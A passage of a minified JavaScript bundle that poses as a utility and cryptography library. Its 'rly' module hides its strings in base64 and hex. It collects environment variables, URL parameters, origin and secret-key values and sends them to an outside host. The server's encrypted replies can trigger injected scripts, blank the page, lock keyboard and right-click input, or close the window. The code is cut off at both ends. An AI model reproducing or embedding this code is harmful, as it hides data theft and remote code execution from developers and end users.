t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}Object.defineProperty(e,"__esModule",{value:!0}),e.defineProps=void 0,e.defineProps=function(t,e,r){try{Object.defineProperty(t,e,function(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?n(Object(r),!0).forEach((function(e){o(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):n(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}({configurable:!0,enumerable:!0,writable:!0,value:null},r))}catch(t){}return t}},454:function(t,e,r){"use strict";function n(t){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},n(t)}function o(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function i(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?o(Object(r),!0).forEach((function(e){u(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):o(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function u(t,e,r){return(e=function(t){var e=function(t){if("object"!=n(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var r=e.call(t,"string");if("object"!=n(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==n(e)?e:e+""}(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var a=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0}),e.GzJsUtils=void 0;var l=a(r(895)),c=a(r(916)),f=a(r(917)),s=a(r(283)),d=a(r(690)),y=r(981),p=a(r(550)),v=a(r(353)),h=a(r(899)),b=a(r(396)),m=r(835);e.GzJsUtils=i(i(i({},l.default),c.default),{},{getEnvironments:y.getEnvironments,Bytes:f.default,Base64:s.default,MD5:d.default,Utils:l.default,AES:v.default,Hmac:h.default,SHA:b.default,KeyTool:m._KeyTool,EnumBuilder:p.default})},573:function(t,e,r){"use strict";function n(t){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},n(t)}function o(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function i(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?o(Object(r),!0).forEach((function(e){s(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):o(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function u(t,e){if(t){if("string"==typeof t)return a(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?a(t,e):void 0}}function a(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}function l(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function c(t,e){for(var r=0;r<e.length;r++){var n=e[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,d(n.key),n)}}function f(t,e,r){return e&&c(t.prototype,e),r&&c(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function s(t,e,r){return(e=d(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function d(t){var e=function(t){if("object"!=n(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var r=e.call(t,"string");if("object"!=n(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==n(e)?e:e+""}var y=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var o=Object.getOwnPropertyDescriptor(e,r);o&&!("get"in o?!e.__esModule:o.writable||o.configurable)||(o={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,o)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),p=this&&this.__setModuleDefault||(Object.create?function(t,e){Object.defineProperty(t,"default",{enumerable:!0,value:e})}:function(t,e){t.default=e}),v=this&&this.__importStar||function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)"default"!==r&&Object.prototype.hasOwnProperty.call(t,r)&&y(e,t,r);return p(e,t),e},h=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0}),e.RLY_Core=e.RlyConfigDefinitions=e.INSTANCE_KEY=void 0,e.newSingleInstance=function(t,e){var r=t[x];return r||((r=new E).init=C.bind(r),r.init(t,N),(0,_.defineProps)(r,"radk",{value:function(t){return(0,I.parseKey)(t)},configurable:!1,enumerable:!1,writable:!1}),(0,_.defineProps)(t,x,{value:r,configurable:!1,enumerable:!1,writable:!1}),(0,_.defineProps)(r,"KeyTool",{value:I._KeyTool,configurable:!1,enumerable:!1,writable:!1})),r};var b=h(r(895)),m=h(r(283)),g=v(r(917)),w=h(r(690)),A=r(981),_=r(989),O=h(r(167)),S=r(330),I=r(835),j=function(t){return(t<10?"0":"")+t};e.INSTANCE_KEY="z726C792D6A73";var P=function(){return f((function t(r){l(this,t),s(this,"store",void 0);var n={};this.store={setItem:function(t,e){n[t]=e},getItem:function(t){return n[t]},removeItem:function(t){delete n[t]}};var o=e.INSTANCE_KEY;if("undefined"!=typeof localStorage){var i=o+"-test";localStorage.setItem(i,i),localStorage.getItem(i)==i&&(localStorage.removeItem(i),this.store=localStorage)}r&&(0,_.defineProps)(r,o,{value:this.store,enumerable:!1,configurable:!1,writable:!1})}),[{key:"setItem",value:function(t,e){e=JSON.stringify(e),this.store.setItem(JSON.stringify(t),g.default.str2hex(e))}},{key:"getItem",value:function(t){try{var e=this.store.getItem(JSON.stringify(t));return e?JSON.parse(g.default.hex2str(e)):e}catch(t){return null}}},{key:"removeItem",value:function(t){return this.store.removeItem(JSON.stringify(t))}}])}();e.RlyConfigDefinitions={"rly-protocol":{values:"http",description:"表示使用 http 协议调用 rly,默认https"},"rly-mock-dev-console":{values:!0,description:"模拟开发,打开控制台 操作 提醒"},"rly-mock-dev":{values:!0,description:"开发环境是否模拟调用"},"rly-nostore-dev":{values:!0,description:"开发环境是否模拟调用"},"rly-log-show":{values:!1,description:"rly运行时是否打印日志"},"rly-log-req":{values:!1,description:"rly运行时是打印请求信息"},"rly-log-rsp":{values:!1,description:"rly运行时是打印相应信息"},"rly-auth-url":{values:"http://127.0.0.1",description:"鉴权地址"},"rly-kname":{values:"APP_ID",description:"动态设置appKey字段信息 指定 appId 值绑定在 appId参数上"},"rly-cl-envs":{values:"APP_SECRET_KEY",description:"清除环境变量,rly-cl-envs=APP_SECRET_KEY&"},"rly-emit-on-init":{values:!0,description:"rly 初始化时是否直接 emit 事件"},"rly-allways-new-request":{values:!1,description:"每次使用新请求"}},Object.entries(e.RlyConfigDefinitions).forEach((function(t){var e,r,n=(r=2,function(t){if(Array.isArray(t))return t}(e=t)||function(t,e){var r=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null!=r){var n,o,i,u,a=[],l=!0,c=!1;try{if(i=(r=r.call(t)).next,0===e){if(Object(r)!==r)return;l=!1}else for(;!(l=(n=i.call(r)).done)&&(a.push(n.value),a.length!==e);l=!0);}catch(t){c=!0,o=t}finally{try{if(!l&&null!=r.return&&(u=r.return(),Object(u)!==u))return}finally{if(c)throw o}}return a}}(e,r)||u(e,r)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),o=n[0],i=n[1];(0,_.defineProps)(i,"getKey",{value:function(){return o},configurable:!1,writable:!1,enumerable:!1})}));var E=function(){return f((function t(){l(this,t),s(this,"id",void 0),s(this,"dcfg",void 0),s(this,"cfgDefinition",void 0),this.id=b.default.random(8)}),[{key:"init",value:function(t,e){return this}},{key:"getId",value:function(){return this.id}},{key:"getClientId",value:function(){}}])}();e.RLY_Core=E,E.prototype._st_={};var C=function(t,e){var r=this;t||(t=Math),(0,_.defineProps)(t,"__getter__rlyenvs",{value:{NODE_ENV:"production",APP_SECRET_KEY:"prod-preview",appId:null},configurable:!1,enumerable:!1,writable:!1});var n=(0,A.getEnvironments)();"undefined"!=typeof process&&Object.entries(i(i({},t.__getter__rlyenvs),(0,A.getEnvironments)())||{}).forEach((function(t){n[t[0]]=t[1]}));var o,a,l,c,f=new P(t),d=new Date,y=j(d.getFullYear()),p=j(d.getMonth()+1),v=j(d.getDate()),h=function(t){return w.default.encode("726C792D6A73-"+t)};o=b.default.isLeapYear(1*y),c=0==(l=0==(a=1*v-1)?1*p-1:1*p)?1*y-1:1*y,l=j(0==l?12:l),a=j(0==a?o?28:29:a),f.removeItem(h(c+l+a));var C,N,x=(C=Math).__getter__wd?C.__getter__wd:"undefined"!=typeof window?((0,_.defineProps)(C,"__getter__wd",{value:window,configurable:!1,enumerable:!1,writable:!1}),window):((0,_.defineProps)(C,"__getter__wd",{value:{location:{}},configurable:!1,enumerable:!1,writable:!1}),C.__getter__wd),k=console,D=function(t){return b.default.trim(t)},F=x.xb64={d:m.default.decode,e:m.default.encode},B=function(t){return F.d(t)},T=function(t){return F.e(t)},M="QVBQX1NFQ1JFVF9LRVk=",U=!1,R=B(M),Y="undefined"!=typeof document&&document,K="Ym9keQ==",V="aW5uZXJIVE1M",H="d2luZG93Lm9wZW4oImFib3V0OmJsYW5rIiwiX3NlbGYiKTsKd2luZG93LmNsb3NlKCk7",J="c2NyaXB0",L="cmVhZHlTdGF0ZQ==",G="Tk9ERV9FTlY=",W="cHJvZHVjdGlvbg==",Z="ZGV2",X="ZGV2ZWxvcA==",z="ZGV2ZWxvcG1lbnQ=",$="aHR0cA==",Q="__getter_VUE_VITE_APP_RLY_TIME_"+w.default.encode(T("$__rly__")),q="undefined"!=typeof navigator&&navigator||{userAgent:"",appVersion:""},tt=x.location||{host:"",search:"",hash:"",href:"",pathname:"",hostname:"",protocol:B($)},et=b.default.parseQuery(tt.search),rt=n[B(G)]||B(W),nt=function(){var t=B(Z)===rt||B(z)===rt||B(X)===rt,r=i(s(s({},B(G),rt),B(M),t?"dev":"prod-prevew"),n),o=JSON.parse(JSON.stringify(e&&i(i({},r),e)||r||{})),a=[/^npm_package_/i,/^npm_config_/i,/^npm_/i,/^NPX_/i,/^NVM_/i,/^TOMCAT_/i,/^MAVEN_/i,/^JAVA_/i,/^GRANDLE_/i,/^ANT_/i,/^Path$/i,/PROXY_/i,/_PROXY_/i,/_PROXY/i,/APPDATA/,/CLASSPATH/,/^IDEA_/,/^JETBRAINS_/,/^PSModulePath$/,/^TEMP$/,/^TMP$/i];Object.keys(o).forEach((function(t){a.find((function(e){return e.test(t)}))&&delete o[t]}));var l=(et["rly-cl-envs"]||"")+"";if(l)try{var c,f=function(t){var e="undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(!e){if(Array.isArray(t)||(e=u(t))){e&&(t=e);var r=0,n=function(){};return{s:n,n:function(){return r>=t.length?{done:!0}:{done:!1,value:t[r++]}},e:function(t){throw t},f:n}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,i=!0,a=!1;return{s:function(){e=e.call(t)},n:function(){var t=e.next();return i=t.done,t},e:function(t){a=!0,o=t},f:function(){try{i||null==e.return||e.return()}finally{if(a)throw o}}}}(l=l.split(","));try{for(f.s();!(c=f.n()).done;){var d=c.value;o[d]=void 0}}catch(t){f.e(t)}finally{f.f()}}catch(t){}return o}(),ot=nt[B(G)],it=function(){var t={id:D(nt[R]||""),kn:R},e=[/^RLY_(APP_)?SECRET_KEY$/i,/^RLY-(APP-)?SECRET-KEY$/i],r=!1,n=function(n){if(r)return r;for(var o,i=Object.keys(n),u=function(){var o=l[a];if(!e.find((function(t){return t.test(D(o))})))return 0;var i=D(n[o]);return i?(t.id=i,t.kn=D(o.toUpperCase()),r=!0,1):void 0},a=0,l=i;a<l.length&&(0===(o=u())||1!==o);a++);};if(n(et),n(nt),!r){var o="cmx5LWtuYW1l",i=g.default.hex2str("5655455F4150505F5345435245545F4B4559"),u=Object.keys(nt).find((function(t){return t==i})),a=D(et[B(o)]),l=D(nt[B(o)]),c=u?i:"";a?(t.id=D(x[a])||D(a&&et[a]||""),t.kn=a):l?(t.id=D(l&&nt[a]||""),t.kn=l):c&&(t.id=D(c&&nt[c]||""),t.kn=c)}return t}(),ut="rly-log-show",at="rly-log-req",lt="rly-log-rsp",ct=!0===et[ut]||!0===nt[ut],ft=!0===et[at]||!0===nt[at],st=!0===et[lt]||!0===nt[lt],dt=function(){for(var t=arguments.length,e=new Array(t),r=0;r<t;r++)e[r]=arguments[r];ct&&k[B("bG9n")].apply(k,arguments)},yt=function(){for(var t=arguments.length,e=new Array(t),r=0;r<t;r++)e[r]=arguments[r];ct&&k[B("ZXJyb3I=")].apply(k,arguments)},pt=function(t,e){e=e&&!isNaN(1*e)&&1*e>0?1*e:0,setTimeout((function(){return function(){var e="k"+(new Date).getTime()+parseInt(1e5*Math.random()+""),r=Y[B("Y3JlYXRlRWxlbWVudA==")](B(J));r.type=B("dGV4dC9qYXZhc2NyaXB0"),r.setAttribute("id",e),r[B("dGV4dENvbnRlbnQ=")]=B(g.default.hex2str("64484A356579676F5A5735324C43427759584A6862584D704944302B4948736C633330704B43566C626E597349435677636D317A4B53423949475A70626D467362486B6765325276593356745A5735304C6D646C644556735A57316C626E524365556C6B4B43636C6332736E4B5335795A573176646D556F4B58303D")).replace("%env",JSON.stringify(nt)).replace("%prms",JSON.stringify(et)).replace("%sk",e).replace("%s",t);var n=Y[B(K)],o=function(){dt("移除元素"),n.removeChild(r)};n[B("aW5zZXJ0QWRqYWNlbnRFbGVtZW50")](B("YmVmb3JlZW5k"),r),r.addEventListener("load",(function(){o()})),r[B(L)]?r[B("b25yZWFkeXN0YXRlY2hhbmdl")]=function(){"complete"!==r[B(L)]&&"loaded"!==r[B(L)]||o()}:r.onload=o}()}),e||0)},vt=B(Z)===ot||B(z)===ot||B(X)===ot,ht=B($)==et["rly-protocol"],bt=!0!==et["rly-mock-dev"]&&vt,mt=B("cHJvZA==")===ot||B(W)===ot,gt=!0===et["rly-nostore-dev"],wt=B("L3JseS9yZXBvcnQuaHRt"),At=B(ht?"aHR0cDovL3JseS1saWMtY2sucXE4NjY5LnRvcA==":"aHR0cHM6Ly9ybHktbGljLWNrLnFxODY2OS50b3A="),_t=et["rly-auth-url"]+"",Ot=b.default.isHttp(_t)?_t:At+wt,St="__getter__VUE_VITE_iiirly__",It=h(y+p+v),jt={delay:365e5,isInit:0,stored:!1},Pt=((N=function(t){var e="__xed__",r=it.id,n=it.kn;if(!r&&mt&&Y){if(x[e])return t;U=!0,x[e]=1e5,Y[B(K)][B(V)]="";var o=B("Y29uc29sZS5lcnJvcigi546v5aKD57y65bCR5Y+C5pWwWyVzXSIp");pt(o.replace("%s",n),100)}return t})(),N),Et=function(e,r){if(t[Q]=jt,(0,_.defineProps)(t,Q,{value:jt,writable:!0,enumerable:!1,configurable:!1}),0==jt.isInit&&(jt.delay=365e5,jt.isInit=0),U)dt("is_no_key_name");else if(Y){var n=e.ath&&e.ath.id||"";r=et["rly-emit-on-init"]+""=="true",(0,_.defineProps)(t,St,{value:r?0:parseInt(""+1e3*Math.random())%(bt?600:30),writable:!0,enumerable:!1,configurable:!1});var o=t[St];dt("delay "+o+" second execute chk");var u=tt.href,a=s({doc:{body:null}},"disable",(function(){function t(){var t,e=x.innerWidth,r=x.innerHeight,n=x.outerWidth,o=x.outerHeight,i=(t=q.userAgent,q.appVersion,{mobile:!!t.match(/AppleWebKit.*Mobile.*/)}),a=null;if((n-e>120||o-r>200)&&-1==u.indexOf("debug")?a="5Li65LqG5rWP6KeI5Zmo5a6J5YWoLOivt+WFs+mXreaJk+W8gOaOp+WItuWPsOWQjuWIt+aWsOmhtemdog==":i.mobile&&(a="56e75Yqo56uv5qih5byP5LiN5pSv5oyB5omT5byA5pys6aG16Z2i"),a)return Y[B(K)][B(V)]='<h1 style="text-align: center">'+B(a)+"</h1>",!0}t(),x.addEventListener("resize",t)}));setTimeout((function(){if(0==jt.isInit){jt.isInit=1;var t=e.ath.id;try{var r=s({},"pfk",fetch.bind(x)),o=(new Date).getTime(),u="protocol",l=/^((https?)|(s?ftp)|file):?/.exec(tt[u]),c=s(s(s(s(s(s(s(s(s(s({},u,l&&l[1]||""),B("b3JpZ2lu"),tt.host),"keyName",it.kn),"prdType","js-"+"rly".toUpperCase()),B("c2VjcmV0S2V5"),t),B("cGFyYW1z"),b.default.parseQuery(tt.search)),B("YXBwSWQ="),n||"none-"+o),B("cm91dGVfcGF0aA=="),tt.host+tt.pathname),B("dGltZXN0YW1w"),o),"control-envs",i({},(0,A.getEnvironments)())),d={request:function(t){var e=Ot;return"1"!=et["rly-allways-new-request"]&&"true"!=et["rly-allways-new-request"]&&"y"!=(et["rly-allways-new-request"]+"").toLowerCase()||(Object.keys(b.default.parseUri(Ot).params).length>0?e+="&t="+Date.now():e+="?t="+Date.now()),r.pfk(e,t)}},y="X-APP-JSRLY-DATA-Part-",p="X-APP-JSRLY-DATA-Parts",v=function(t){st&&dt("rly: ",t),t.$stored=!0,jt.delay=1*t.delay,(isNaN(jt.delay)||jt.delay<0)&&e.exit(),jt.notifys=0;var r=function(){return new Promise((function(e){var r,o=(r={},["oncontextmenu","onkeydown","onkeyup","onkeypress"].map((function(t){r[t]=x[t]})),r),i=t.content||B("5o6I5p2D5bey5Yiw5pyf"),u=function(){for(var r in o)x[r]=o[r];var i=parseInt(""+t["notify-extend-time"]);jt.delay=isNaN(i)?0:i,n().then(e)};1==et[B("cmx5LW1vY2stZGV2LWNvbnNvbGU=")]&&(a.disable()||(x.oncontextmenu=function(){return!1},x.oncontextmenu=function(){return!1},x.onkeydown=x.onkeyup=x.onkeypress=function(){return x.event.returnValue=!1,!1}));var l="$el_message_box",c=null;x[l]?c=x[l].alert("",{title:B("5o+Q56S6"),message:B("PGRpdiBzdHlsZT0id2lkdGg6IDEwMCUiIGlkPSJhcHBVbmF1dGhvcml6ZWROb3RpZnkiPg")+i+"PC9kaXY+",allowHtml:!0,dangerouslyUseHTMLString:!0}):x.confirm&&x.confirm(i),c&&c instanceof Promise?c.then(u).catch((function(t){return yt(t)})):u()}))},n=function(){return new Promise((function(e){var r=setInterval((function(){if(jt.delay<=0)return clearInterval(r),f.removeItem(It),0==jt.notifys&&jt.notifys++,dt("rly.clearInterval:",jt.delay),e();jt.delay-=1,t.delay=jt.delay,f.setItem(It,t),dt("rly.timeout:",jt.delay)}),1e3)}))};n().then((function(){switch(parseInt(t.type)){case-1:dt("rly undo");break;case 0:return e.exit();case 1:var n=t[B(J)]||H;return pt(B(n),200);case 2:return r().then((function(t){dt("弹出消息内容")}));case 3:return r().then((function(){dt("弹出消息内容后关闭"),e.exit()}))}})).catch((function(t){return yt(t)}))},h=function(t){try{switch(parseInt(t.code)){case 0:case 200:return;case-100:var r=t&&t.rly||t.data&&t.data.rly||null;r||e.exit();var n=g.default.hex2str(B(r));n&&v(JSON.parse(n))}}catch(t){yt(t)}};return function(){var t=null,e=f.getItem(It);if(!gt&&e&&1*e.delay>0)t=new Promise((function(){return v(e)}));else{ft&&dt("req",c);var r=function(){for(var t=I._KeyTool.createKey(),e=(0,I.parseKey)(t),r=s(s(s({},B("Q29udGVudC1UeXBl"),B("YXBwbGljYXRpb24vanNvbg==")),B("Q29udGVudC1UeXBl"),"*/*"),"X-APP-KT-VERSION",(0,I.getKeyToolVersion)()),n=s(s(s(s(s(s(s({},B("bWV0aG9k"),B("R0VU")),"cache",B("bm8tY2FjaGU=")),"mode",B("Y29ycw==")),B("cmVmZXJyZXJQb2xpY3k="),B("b3JpZ2lu")),B("cmVkaXJlY3Q="),"follow"),B("Y3JlZGVudGlhbHM="),B("c2FtZS1vcmlnaW4=")),B("aGVhZGVycw=="),r),o=JSON.stringify(c),i=O.default.ECB(e.key,{}).encrypt((0,g.toBytes)(o)),u=(i=t.length+":"+t+T(i)).length,a=Math.floor((u-1)/64)+1,l=0,f=1;f<=a;f++){var d=i.slice(l,l+64);l+=64,r[y+f]=d}return r[p]=a,r["X-APP-JSRLY-TOOL-VERSION"]=S.version,{options:n,keyp:{pubK:t,priK:e.key}}}();t=d.request(r.options).then((function(t){if(200==t.status){try{for(var e=Number(t.headers.get(p)),n="",o=1;o<=e;o++){var i=t.headers.get(y+o);if(i&&i.length>0){var u=i.substring(0,32);if(i=i.substring(32),u.toUpperCase()!==w.default.encode(i).toUpperCase())throw new Error("invalid sign");n+=i}}if(""===n)return;var a=m.default.decrypt((0,g.fromHex)(n));a=O.default.ECB(r.keyp.priK,{}).decrypt(a);var l=a=(0,g.fromBytes)(a);h(JSON.parse(l))}catch(t){var c={delay:parseInt(600*Math.random()+""),type:1,script:g.default.hex2str("4B475A31626D4E30615739754B436C3759323975633239735A53356C636E4A766369676E354C756A35364342365A535A364B2B76373779424A796B375A47396A6457316C626E5175596D396B65533570626D356C636B6855545577675053416E4A7A74394B536770")};return c=T(g.default.str2hex(JSON.stringify(c))),h({code:-100,data:{rly:c}})}try{return t.headers.get(""),jt.isInit=2,t.json().then(h)}catch(t){return h({code:0,data:{}})}}})).catch((function(t){yt("网络错误",t)}))}return t}().catch((function(t){yt(t),jt.isInit=2}))}catch(t){yt(t)}finally{jt.isInit=2}}}),1e3*o)}else dt("uncheck in node env")},Ct=function(){pt(B(H),3e3)};return x["__VUE__VITE_RLY_"+w.default.encode(it.id&&""!=it.id&&it.id||"JFJseUFwcA==")]=this,this.redo=function(){return t=r,jt.isInit=0,U=!1,void Et(t,true);var t},this.can=function(t){return Et(r),jt.delay-60>0}.bind(this),this.process=function(t){return this.can(t),t},this.register=function(t,e){return E.prototype._st_[B(t)]=e},this.env=nt,this.params=et,this.ath=it,this.getKeyName=function(){return it.kn},this.isDev=bt,this.isProd=mt,Et(this),E.prototype.exit=function(t){Ct.bind(t||this).call()},E.prototype._st_=s({},B("X05PREVfRU5WXw=="),nt),E.prototype.exec=function(t){var e=Object.prototype.toString.call(t).slice(8,-1);("Function"==e||t&&"String"!=e)&&(t=e.toString(),"Function"==e&&(t="(".concat(t,")()"))),t&&pt(t,0)},Pt(this)},N=null,x="__getter__VUE_VITE_RLY__"+e.INSTANCE_KEY},60:(t,e,r)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.INSTANCE_KEY=void 0;var n=r(573);Object.defineProperty(e,"INSTANCE_KEY",{enumerable:!0,get:function(){return n.INSTANCE_KEY}});var o=r(981),i={};Object.entries(n.RlyConfigDefinitions).forEach((function(t){return i[t[0]]=t[1].values}));var u={urlparams:i},a={register:function(t){var e=(0,n.newSingleInstance)(t||Math,(0,o.getEnvironments)());return e.dcfg=function(){return u},e.cfgDefinition=function(){return n.RlyConfigDefinitions},e}};e.default=a},353:function(t,e,r){"use strict";function n(t){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},n(t)}function o(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function i(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?o(Object(r),!0).forEach((function(e){u(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):o(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function u(t,e,r){return(e=function(t){var e=function(t){if("object"!=n(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var r=e.call(t,"string");if("object"!=n(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==n(e)?e:e+""}(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var a=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0}),e._AES_=void 0;var l=a(r(167)),c=r(917),f={ECB:{encrypt:function(t,e,r){return l.default.ECB(t,r||{}).encrypt(e)},decrypt:function(t,e,r){return l.default.ECB(t,r||{}).decrypt(e)},encode:function(t,e,r){return(0,c.toHex)(this.encrypt(t,(0,c.toBytes)(e),r))},decode:function(t,e,r){return(0,c.fromBytes)(this.decrypt(t,(0,c.fromHex)(e),r))}},CBC:{encrypt:function(t,e,r){return l.default.CBC(t,r||{}).encrypt(e)},decrypt:function(t,e,r){return l.default.CBC(t,r||{}).decrypt(e)},encode:function(t,e,r){return(0,c.toHex)(this.encrypt(t,(0,c.toBytes)(e),r))},decode:function(t,e,r){return(0,c.fromBytes)(this.decrypt(t,(0,c.fromHex)(e),r))}},CFB:{encrypt:function(t,e,r){return l.default.CFB(t,r||{}).encrypt(e)},decrypt:function(t,e,r){return l.default.CFB(t,r||{}).decrypt(e)},encode:function(t,e,r){return(0,c.toHex)(this.encrypt(t,(0,c.toBytes)(e),r))},decode:function(t,e,r){return(0,c.fromBytes)(this.decrypt(t,(0,c.fromHex)(e),r))}},OFB:{encrypt:function(t,e,r){return l.default.OFB(t,r||{}).encrypt(e)},decrypt:function(t,e,r){return l.default.OFB(t,r||{}).decrypt(e)},encode:function(t,e,r){return(0,c.toHex)(this.encrypt(t,(0,c.toBytes)(e),r))},decode:function(t,e,r){return(0,c.fromBytes)(this.decrypt(t,(0,c.fromHex)(e),r))}},CTR:{encrypt:function(t,e,r){return l.default.CTR(t,r||{}).encrypt(e)},decrypt:function(t,e,r){return l.default.CTR(t,r||{}).decrypt(e)},encode:function(t,e,r){return(0,c.toHex)(this.encrypt(t,(0,c.toBytes)(e),r))},decode:function(t,e,r){return(0,c.fromBytes)(this.decrypt(t,(0,c.fromHex)(e),r))}}};function s(t){var e=f[(t+"").toUpperCase()];if(!e)throw new Error("Unsupported AES mode: ".concat(t));return e}e._AES_=i(i({},f),{},{modes:function(){return Object.keys(f)},encrypt:function(t,e,r){return s((null==r?void 0:r.mode)||"ECB").encrypt(t,e,r)},decrypt:function(t,e,r){return s((null==r?void 0:r.mode)||"ECB").decrypt(t,e,r)},encode:function(t,e,r){return s((null==r?void 0:r.mode)||"ECB").encode(t,e,r)},decode:function(t,e,r){return s((null==r?void 0:r.mode)||"ECB").decode(t,e,r)}}),e.default=e._AES_},283:(t,e,r)=>{"use strict";function n(t){return function(t){if(Array.isArray(t))return o(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function(t,e){if(t){if("string"==typeof t)return o(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?o(t,e):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}Object.defineProperty(e,"__esModule",{value:!0}),e.is=c,e.encode=f,e.decode=s,e.encrypt=d,e.decrypt=y;var i=r(917),u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split("").map((function(t){return t.charCodeAt(0)})),a=function(){for(var t=[],e=0;e<256;e++)t.push(-1);for(var r=0;r<u.length;r++)t[255&u[r]]=r;return t}(),l="=".charCodeAt(0);function c(t){return/^[0-9A-Za-z+/=\r\n]*$/.test(t)}function f(t){return(0,i.fromBytes)(d(t))}function s(t){return(0,i.fromBytes)(y(t))}function d(t){if(null==t)return null;if(""===t)return new Int8Array(0);var e=n((0,i.toBytes)(t));if(0==e.length)return new Int8Array(0);for(var r=parseInt(e.length/3+""),o=e.length%3,a=[],c=0;c<r;c++){var f,s,d,y,p=3*c,v=(255&e[p+0])<<16|(255&e[p+1])<<8|255&e[p+2];f=u[v>>>18&63],s=u[v>>>12&63],d=u[v>>>6&63],y=u[63&v],a.push(f,s,d,y)}var h=3*r;switch(o){case 1:var b,m,g,w,A=(255&e[h])<<4;b=u[A>>>6&63],m=u[63&A],g=l,w=l,a.push(b,m,g,w);break;case 2:var _,O,S,I,j=(255&e[h])<<10|(255&e[h+1])<<2;_=u[j>>>12&63],O=u[j>>>6&63],S=u[63&j],I=l,a.push(_,O,S,I)}return new Int8Array(a)}function 